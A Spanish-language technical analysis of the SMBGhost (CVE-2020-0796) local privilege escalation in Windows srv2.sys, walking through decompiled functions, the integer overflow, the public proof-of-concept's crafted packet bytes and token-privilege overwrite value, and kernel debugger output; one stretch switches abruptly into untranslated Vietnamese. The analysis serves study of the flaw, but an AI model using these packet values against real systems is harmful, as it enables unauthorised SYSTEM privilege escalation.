
La función de compresión añadida a SMBv3 a partir de la versión del sistema operativo Windows 10/Server version 1903 contiene una vulnerabilidad de desbordamiento de enteros (integer overflow) confirmada por Microsoft el 12/03/2020. Permite que un atacante realice una escalada de privilegios local (LPE) y ejecución remota de código (RCE). Aquí solo se hablará de la vulnerabilidad LPE.
Versiones afectadas:
Al analizar el archivo srv2.sys, se observa que las funciones relacionadas con la descompresión se llaman de la siguiente manera:``` js
Srv2ReceiveHandler
|
|
v
Srv2DecompressMessageAsync
|
|
v
Srv2DecompressData -------> SrvNetAllocateBuffer
|
|
v
SmbCompressionDecompress
|
|
v
memcpy
Primero se llama a la función `Srv2ReceiveHandler` para recibir un paquete de datos SMB y se llama a una función correspondiente al protocolo `ProtocolId`. Si `PrococolId` = 0x424D53FC, se llamará a la función `Srv2DecompressMessageAsync`, que a su vez llamará a la función `Srv2DecompressData` para descomprimir el paquete de datos. La función `Srv2DecompressData` llamará a la función `SrvNetAllocateBuffer` para asignar un `Alloc` que se usará para almacenar los datos después de la descompresión; a continuación, llamará a la función `SmbCompressionDecompress` para descomprimir el paquete de datos y, por último, llamará a la función `memcpy`. Así, todo el proceso de descompresión tendrá los siguientes pasos principales:
- 1. Asignar
- 2. Descomprimir
- 3. Copiar
Según la documentación proporcionada por Microsoft, la estructura `COMPRESSION_TRANSFORM_HEADER` se utiliza para enviar y recibir datos comprimidos desde el cliente y el servidor. Su estructura es la siguiente:``` c
typedef struct _COMPRESSION_TRANSFORM_HEADER
{
ULONG ProtocolId;
ULONG OriginalCompressedSegmentSize;
USHORT CompressionAlgorithm;
USHORT Flags;
ULONG Offset;
} ;
Aquí solo nos centramos en los 2 campos principales anteriores:
OriginalCompressedSegmentSize es el tamaño del segmento de datos sin comprimir, calculado en bytes.Offset es el desplazamiento en bytes entre el punto de inicio de los datos comprimidos y el punto final de la estructura _COMPRESSION_TRANSFORM_HEADER.Así, el paquete de datos comprimido tendrá la siguiente forma:
``` c
typedef struct _ALLOCATION_HEADER
{
// ...
PVOID UserBuffer;
// ...
} ALLOCATION_HEADER, *PALLOCATION_HEADER;
NTSTATUS Srv2DecompressData(PCOMPRESSION_TRANSFORM_HEADER Header, SIZE_T TotalSize) { PALLOCATION_HEADER Alloc = SrvNetAllocateBuffer( (ULONG)(Header->OriginalCompressedSegmentSize + Header->Offset), NULL); If (!Alloc) { return STATUS_INSUFFICIENT_RESOURCES; }
ULONG FinalCompressedSize = 0;
NTSTATUS Status = SmbCompressionDecompress(
Header->CompressionAlgorithm,
(PUCHAR)Header + sizeof(COMPRESSION_TRANSFORM_HEADER) + Header->Offset,
(ULONG)(TotalSize - sizeof(COMPRESSION_TRANSFORM_HEADER) - Header->Offset),
(PUCHAR)Alloc->UserBuffer + Header->Offset,
Header->OriginalCompressedSegmentSize,
&FinalCompressedSize);
if (Status < 0 || FinalCompressedSize != Header->OriginalCompressedSegmentSize) {
SrvNetFreeBuffer(Alloc);
return STATUS_BAD_DATA;
}
if (Header->Offset > 0) {
memcpy(
Alloc->UserBuffer,
(PUCHAR)Header + sizeof(COMPRESSION_TRANSFORM_HEADER),
Header->Offset);
}
Srv2ReplaceReceiveBuffer(some_session_handle, Alloc);
return STATUS_SUCCESS;
}
Al analizar la función `Srv2DecompressData`, se observa que recibe un paquete de datos comprimidos `COMPRESSION_TRANSFORM_HEADER` (Header), procede a asignar una región de memoria (Alloc) mediante la función `SrvNetAllocateBuffer` con el parámetro de la suma de `Header->OriginalCompressedSegmentSize` + `Header->Offset`, y luego descomprime los datos comprimidos y copia los datos no comprimidos en `Alloc->Buffer`.

El error de desbordamiento de enteros (integer overflow) ocurre cuando `Srv2DecompressData` llama a la función `SrvNetAllocateBuffer`; la función `SrvNetAllocateBuffer` en realidad recibe dos valores de 64 bits, pero al llamar a `SrvNetAllocateBuffer`, `Srv2DecompressData` solo le pasa dos valores de 32 bits (ULONG). Mientras tanto, tanto `OriginalCompressedSegmentSize` como `Offset` son ULONG, y al sumarlos pueden dar como resultado un número mayor de 32 bits. Por lo tanto, se produce el desbordamiento de enteros (en términos simples, al sumar 0xffffffff (`OriginalCompressedSegmentSize`) con 0x10 (`Offset`) se obtiene el valor 0xf0000000f, pero `SrvNetAllocateBuffer` solo recibe el valor 0x0000000f).

El desbordamiento de enteros conduce a una asignación incorrecta de la región de memoria Alloc (el tamaño que se debe asignar es menor que el tamaño real), lo que puede provocar un error de desbordamiento de búfer (buffer overflow):

Para saber si el desbordamiento de búfer ocurre o no, y cómo ocurre, analizaremos las funciones `SrvNetAllocateBuffer` y `SmbCompressionDecompress`.``` c
PALLOCATION_HEADER SrvNetAllocateBuffer(SIZE_T AllocSize, PALLOCATION_HEADER SourceBuffer)
{
v2 = *MK_FP(__GS__, 420i64);
v3 = 0;
v4 = a2;
v5 = 0;
if ( SrvDisableNetBufferLookAsideList || allocSize > 0x100100 )
{
if ( allocSize > 0x1000100 )
return 0i64;
v11 = SrvNetAllocateBufferFromPool(allocSize, allocSize);
}
else
{
if ( allocSize > 0x1100 )
{
_RCX = allocSize - 256;
__asm
{
bsr rdx, rcx
bsf rax, rcx
}
if ( (_DWORD)_RDX == (_DWORD)_RAX )
v3 = _RDX - 12;
else
v3 = _RDX - 11;
}
v6 = SrvNetBufferLookasides[(unsigned __int64)v3];
v7 = *(_DWORD *)v6 - 1;
if ( (unsigned int)(unsigned __int16)v2 + 1 < *(_DWORD *)v6 )
v7 = (unsigned __int16)v2 + 1;
v8 = (unsigned int)v7;
v9 = *(_QWORD *)(v6 + 32);
v10 = *(_QWORD *)(v9 + 8 * v8);
if ( !*(_BYTE *)(v10 + 0x70) )
PplpLazyInitializeLookasideList(v6, *(_QWORD *)(v9 + 8 * v8));
++*(_DWORD *)(v10 + 20);
v11 = (unsigned __int64)ExpInterlockedPopEntrySList((PSLIST_HEADER)v10);
if ( !v11 )
{
++*(_DWORD *)(v10 + 24);
v12 = *(_DWORD *)(v10 + 44);
v13 = *(_DWORD *)(v10 + 40);
v14 = *(_DWORD *)(v10 + 36);
LODWORD(v15) = sub_1C00110B0(*(int (**)(void))(v10 + 48));
v11 = v15;
}
v5 = 2;
}
if ( v11 )
{
*(_WORD *)(v11 + 0x10) |= v5;
*(_WORD *)(v11 + 0x12) = v3;
*(_WORD *)(v11 + 0x14) = v2;
if ( v4 )
{
v24 = *(_DWORD *)(v4 + 0x24);
if ( v24 >= *(_DWORD *)(v11 + 0x20) )
v24 = *(_DWORD *)(v11 + 0x20);
v25 = *(void **)(v11 + 0x18);
*(_DWORD *)(v11 + 0x24) = v24;
memcpy(v25, *(const void **)(v4 + 0x18), v24);
v26 = *(_WORD *)(v4 + 0x16);
if ( v26 )
{
*(_WORD *)(v11 + 0x16) = v26;
memcpy((void *)(v11 + 0x64), (const void *)(v4 + 0x64), 0x10i64 * *(_WORD *)(v4 + 0x16));
}
}
else
{
*(_DWORD *)(v11 + 36) = 0;
}
}
return v11;
}
El código anterior está tomado del pseudocódigo de IDA Pro, parece bastante difícil de entender. Sin embargo, podemos entenderlo simplemente mirando el código reescrito por Zecops:``` c PALLOCATION_HEADER SrvNetAllocateBuffer(SIZE_T AllocSize, PALLOCATION_HEADER SourceBuffer) { // ...
if (SrvDisableNetBufferLookAsideList || AllocSize > 0x100100) {
if (AllocSize > 0x1000100) {
return NULL;
}
Result = SrvNetAllocateBufferFromPool(AllocSize, AllocSize);
} else {
int LookasideListIndex = 0;
if (AllocSize > 0x1100) {
LookasideListIndex = /* some calculation based on AllocSize */;
}
SOME_STRUCT list = SrvNetBufferLookasides[LookasideListIndex];
Result = /* fetch result from list */;
}
// Initialize some Result fields...
return Result;
}
La función `SrvNetAllocateBuffer` recibirá el tamaño a asignar, luego comprobará si el tamaño es mayor que 0x100100, si es mayor devolverá NULL. Esta función también comprueba la variable `SrvDisableNetBufferLookAsideList`, sin embargo, no he encontrado ninguna documentación sobre esta variable, y está establecida a 0 por defecto, así que probablemente no sea muy importante.
Si se cumple la condición, la función continuará calculando un valor de índice basado en el AllocSize recibido, luego obtendrá un valor del array `SrvNetBufferLookasides` (este array tiene 9 elementos) basado en el índice calculado y procederá a la asignación. A partir del código ensamblador, Zecops ha utilizado `python` para calcular los tamaños correspondientes a cada índice:``` py
>>> [hex((1 << (i + 12)) + 256) for i in range(9)]
[‘0x1100’, ‘0x2100’, ‘0x4100’, ‘0x8100’, ‘0x10100’, ‘0x20100’, ‘0x40100’, ‘0x80100’, ‘0x100100’]
Así, para solicitudes de asignación de tamaño menor o igual a 0x1100, la función asigna una región de memoria de tamaño 0x1100; para solicitudes de asignación mayores que 0x1100 y menores o iguales a 0x2100, asigna una región de memoria de tamaño 0x2100, y de manera similar para solicitudes de asignación más grandes.
Después de completar la asignación, la función devuelve una dirección que almacena una estructura que Zcops ha denominado ALLOCATION_HEADER. Según lo investigado, esta estructura contiene datos como los siguientes:

Un detalle interesante es que ALLOCATION_HEADER se encuentra justo debajo de ALLOCATION_HEADER->UserBuffer; si se puede desbordar el buffer UserBuffer, entonces podemos escribir valores arbitrarios en ALLOCATION_HEADER.

A continuación, veremos qué hace la función SmbCompressionDecompress:``` c
__int64 __fastcall SmbCompressionDecompress(int CompressionAlgorithm, __int64 DataCompressed, __int64 SizeCompressed, __int64 AllocUserbufferDecompress, unsigned int OriginalCompressedSegmentSize, __int64 FinalCompressedSize)
{
PVOID v6; // rdi@1
__int64 v7; // r14@1
__int64 v8; // r15@1
int v9; // ebx@2
int v10; // ecx@3
int v11; // ecx@4
signed __int16 v12; // bx@6
__int64 v13; // rsi@12
unsigned int v14; // ebp@12
int v16; // [sp+40h] [bp-28h]@1
SIZE_T NumberOfBytes; // [sp+70h] [bp+8h]@1
v16 = 0; v6 = 0i64; LODWORD(NumberOfBytes) = 0; v7 = AllocUserbufferDecompress; v8 = DataCompressed; if ( !CompressionAlgorithm ) goto LABEL_2; v10 = CompressionAlgorithm - 1; if ( v10 ) { v11 = v10 - 1; if ( v11 ) { if ( v11 != 1 ) { LABEL_2: v9 = 0xC00000BB; return (unsigned int)v9; } v12 = 4; } else { v12 = 3; } } else { v12 = 2; } if ( RtlGetCompressionWorkSpaceSize((unsigned __int16)v12, &NumberOfBytes, &v16) < 0 || (v6 = ExAllocatePoolWithTag((POOL_TYPE)512, 0i64, 0x2532534Cu)) != 0i64 ) { v13 = FinalCompressedSize; v14 = OriginalCompressedSegmentSize; v9 = RtlDecompressBufferEx2((unsigned __int16)v12, v7, OriginalCompressedSegmentSize, v8); if ( v9 >= 0 ) *(_DWORD *)v13 = v14; if ( v6 ) ExFreePoolWithTag(v6, 0x2532534Cu); } else { v9 = 0xC000009A; } return (unsigned int)v9; }
El código de arriba fue extraído del pseudocódigo de IDA; si no entiendes qué hace ese código, puedes ver el código reescrito por Zecops:``` c
NTSTATUS SmbCompressionDecompress(
USHORT CompressionAlgorithm,
PUCHAR UncompressedBuffer,
ULONG UncompressedBufferSize,
PUCHAR CompressedBuffer,
ULONG CompressedBufferSize,
PULONG FinalCompressedSize)
{
// ...
NTSTATUS Status = RtlDecompressBufferEx2(
...,
FinalUncompressedSize,
...);
if (Status >= 0) {
*FinalCompressedSize = CompressedBufferSize;
}
// ...
return Status;
}
Esta función básicamente realiza la descompresión de los datos comprimidos y los guarda en Alloc->UserBuffer + Offset. Si la descompresión es exitosa, el parámetro FinalCompressedSize se asignará igual al parámetro CompressedBufferSize, que es el valor OriginalCompressedSegmentSize pasado desde la función Srv2DecompressData.
Volviendo a la función Srv2DecompressData, después de ejecutar la función SmbCompressionDecompress, la función continúa comparando si el valor FinalCompressedSize y OriginalCompressedSegmentSize son iguales, y si el Status devuelto es < 0.``` c
if (Status < 0 || FinalCompressedSize != Header->OriginalCompressedSegmentSize) { // bypass
SrvNetFreeBuffer(Alloc);
return STATUS_BAD_DATA;
}
Como se ha dicho anteriormente, si la descompresión se realiza correctamente, `FinalCompressedSize` y `OriginalCompressedSegmentSize` serán iguales y el `Status` devuelto será mayor o igual a 0. Por lo tanto, si la descompresión es exitosa, el código dentro de la función `if` anterior no se ejecutará. Continuaremos analizando el siguiente fragmento de código:``` c
if (Header->Offset > 0) {
memcpy( // copy raw data into UserBuffer
Alloc->UserBuffer,
(PUCHAR)Header + sizeof(COMPRESSION_TRANSFORM_HEADER),
Header->Offset);
}
Este fragmento de código comprobará si Header->Offset > 0. El valor Offset es el desplazamiento entre la región de datos comprimidos y el final del Header, correspondiente al tamaño de la región de datos sin comprimir. Después llama a la función memcpy para copiar la región de datos sin comprimir al inicio de Alloc->UserBuffer.
Por lo tanto, si se puede aprovechar la vulnerabilidad de desbordamiento de búfer para sobrescribir la región Alloc Header y cambiar el valor del puntero Alloc->UserBuffer a la dirección A, la dirección A contendrá los datos sin comprimir enviados por el cliente. Para que quede más claro, analizaremos el POC de Daniel García Gutiérrez (@danigargu) y Manuel Blanco Parajón (@dialluvioso_), y luego lo depuraremos para entenderlo mejor.
El POC hace lo siguiente:
Obtiene su propio token.
Crea un array buffer de tamaño 0x1110, almacena al principio del array 0x1108 caracteres 'A', y luego almacena el valor [Token + 0x40] obtenido anteriormente. El propósito de esto lo explicaremos más adelante.
Comprime los datos del array buffer y los guarda en el array compressed_buffer.
Crea un array buf que contiene los siguientes datos:``` c
const uint8_t buf[] = {
/* NetBIOS Wrapper */
0x00,
0x00, 0x00, 0x33,
/* SMB Header */
0xFC, 0x53, 0x4D, 0x42, /* protocol id */
0xFF, 0xFF, 0xFF, 0xFF, /* original decompressed size, trigger arithmetic overflow */
0x02, 0x00, /* compression algorithm, LZ77 */
0x00, 0x00, /* flags */
0x10, 0x00, 0x00, 0x00, /* offset */
};
- Luego crear un array `packet` de tamaño: `sizeof(buf) + 0x10 + len`, donde `len` es el tamaño de `buffer` después de la compresión anterior (tamaño de **data** de `compressed_buffer`).
- Copiar los datos del array `buf` a `packet`, luego copiar el valor `0x1FF2FFFFBC` y después los datos del array `compressed_buffer`:``` c
memcpy(packet, buf, sizeof(buf));
*(uint64_t*)(packet + sizeof(buf)) = 0x1FF2FFFFBC;
*(uint64_t*)(packet + sizeof(buf) + 0x8) = 0x1FF2FFFFBC;
memcpy(packet + sizeof(buf) + 0x10, compressed_buffer, len);
packet đến SMB server.Sau đây tôi sẽ giải thích các vướng mắc trong POC đã nêu ở trên.
Tại sao mảng buffer lại cần tạo với kích thước là 0x1110 byte, và lưu vào trong 0x1108 ký tự A và một giá trị [token + 0x40]. Nhìn chung, mục đích của Poc này là sử dụng các hàm trong SMB để thay đổi giá trị token->Privileges của chính nó ([Token + 0x40]).
Phần SMB Header ta sẽ quan tâm đến original decompressed size và Offset, lần lượt có giá trị là 0xffffffff và 0x00000010. Mục đích để SMB bị dính lỗi integer overflow, từ đó cấp phát một mảng Alloc->Buffer có kích thước chỉ là 0x1100 (< 0x1110 + Raw data size).
Giá trị 0x1FF2FFFFBC được lưu vào 0x10 byte sau phần header là một giá trị được lưu trong token->Privileges->Present và token->Privileges->Enabled của một process SYSTEM, tương ứng với việc nếu process nào có token->Privileges->Present và token->Privileges->Enabled bằng với 0x1FF2FFFFBC, process đó sẽ có đặc quyền như một process SYSTEM.
Từ các thông tin trên, ta có thể hình dùng rằng POC đang muốn các hàm trong SMB thay đổi giá trị token->Privileges->Present và token->Privileges->Enabled của nó thành 0x1FF2FFFFBC. Để biết được chính xác, ta sẽ vào phần debug kernel.
Đầu tiên, ta đặt breakpoint ở đầu hàm Srv2DecompressData```` 0: kd> bm srv2!Srv2DecompressData 1: fffff80717c47e60 @!"srv2!Srv2DecompressData"
0: kd> bl
1 e Disable Clear fffff807`17c47e60 0001 (0001) srv2!Srv2DecompressData
Luego ejecuta el POC, se llamará a la función `Srv2DecompressData`, y el kernel se detendrá al inicio de la función `srv2!Srv2DecompressData`.
Procede a ver los datos del Header:```
1: kd> dd ffffd10e92347c10
ffffd10e`92347c10 424d53fc ffffffff 00000002 00000010
ffffd10e`92347c20 f2ffffbc 0000001f f2ffffbc 0000001f
ffffd10e`92347c30 403fffff 0f000741 701104ff 8dafb9e7
ffffd10e`92347c40 00ffffae 00000000 00000000 00000000
Esta es la data del array packet que el POC envió a SMB tal como se analizó en el POC anterior, los primeros 0x10 bytes son la parte del SMB Header, los siguientes 0x10 bytes contienen 2 veces el valor 0x1FF2FFFFBC que es la zona de raw data y los siguientes 0x13 bytes son los datos del buffer que ya fueron comprimidos. Así, el tamaño total del Header es de 0x33 bytes.
Al llegar al momento de llamar a la función SrvNetAllocateBuffer para ver los parámetros transmitidos, efectivamente la función SrvNetAllocateBuffer recibe los parámetros 0xf y null.

El valor de retorno de la función SrvNetAllocateBuffer es un puntero que apunta a una estructura ALLOCATION_HEADER (como se le llama en este artículo).```
1: kd> dd rax
ffffd10e94729150 ca9a7573 417b1178 32fe5f70 dc85f193 ffffd10e94729160 00000002 00000001 94728050 ffffd10e
ffffd10e`94729170 00001100 00000000 00001278 75881029

A continuación, se llamará a la función `SmbCompressionDecompress`, que descomprimirá y escribirá los datos descomprimidos en `Alloc->Buffer + Header -> Offset`.```
1: kd> dd ffffd10e94728050
ffffd10e`94728050 1050118b 3318f0fa 00000000 00000000
ffffd10e`94728060 41414141 41414141 41414141 41414141
ffffd10e`94728070 41414141 41414141 41414141 41414141
...
ffffd10e`94729150 41414141 41414141 41414141 41414141
ffffd10e`94729160 41414141 41414141 afb9e770 ffffae8d
ffffd10e`94729170 00001100 00000000 00001278 75881029
1: kd> dt _sep_token_privileges ffffae8dafb9e770
nt!_SEP_TOKEN_PRIVILEGES
+0x000 Present : 0x00000006`02880000
+0x008 Enabled : 0x800000
+0x010 EnabledByDefault : 0x40800000

En este momento, Alloc->Buffer ya ha sido sobrescrito con la dirección [Token + 0x40]. La función Srv2DecompressData procede a llamar a memcpy(Alloc->UserBuffer, (PUCHAR)Header + sizeof(COMPRESSION_TRANSFORM_HEADER), Header->Offset); para copiar los datos sin procesar en Alloc->UserBuffer. Sin embargo, Alloc->UserBuffer ya fue sobrescrito con Token->Privileges, por lo que los datos sin procesar se escribirán en Token->Privileges:```
1: kd> dt _sep_token_privileges ffffae8dafb9e770
nt!_SEP_TOKEN_PRIVILEGES
+0x000 Present : 0x0000001ff2ffffbc +0x008 Enabled : 0x0000001ff2ffffbc
+0x010 EnabledByDefault : 0x40800000

En este punto, el programa POC ya tiene privilegios SYSTEM; el siguiente paso es abrir un programa SYSTEM (winlogon.exe) e inyectar shellcode para abrir cmd.
# Referencias
[SMB2 COMPRESSION_TRANSFORM_HEADER](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/1d435f21-9a21-4f4c-828e-624a176cf2a0)
[Exploiting SMBGhost (CVE-2020-0796) for a Local Privilege Escalation: Writeup + POC](https://blog.zecops.com/vulnerabilities/exploiting-smbghost-cve-2020-0796-for-a-local-privilege-escalation-writeup-and-poc/)
[CVE-2020-0796 Windows SMBv3 LPE Exploit POC Analysis](https://paper.seebug.org/1165/)
[Token Abuse for Privilege Escalation in Kernel](https://www.ired.team/miscellaneous-reversing-forensics/windows-kernel-internals/how-kernel-exploits-abuse-tokens-for-privilege-escalation)
<p align="right">
<b><i>DatntSec. Viettel Cyber Security.<i><b>
</p>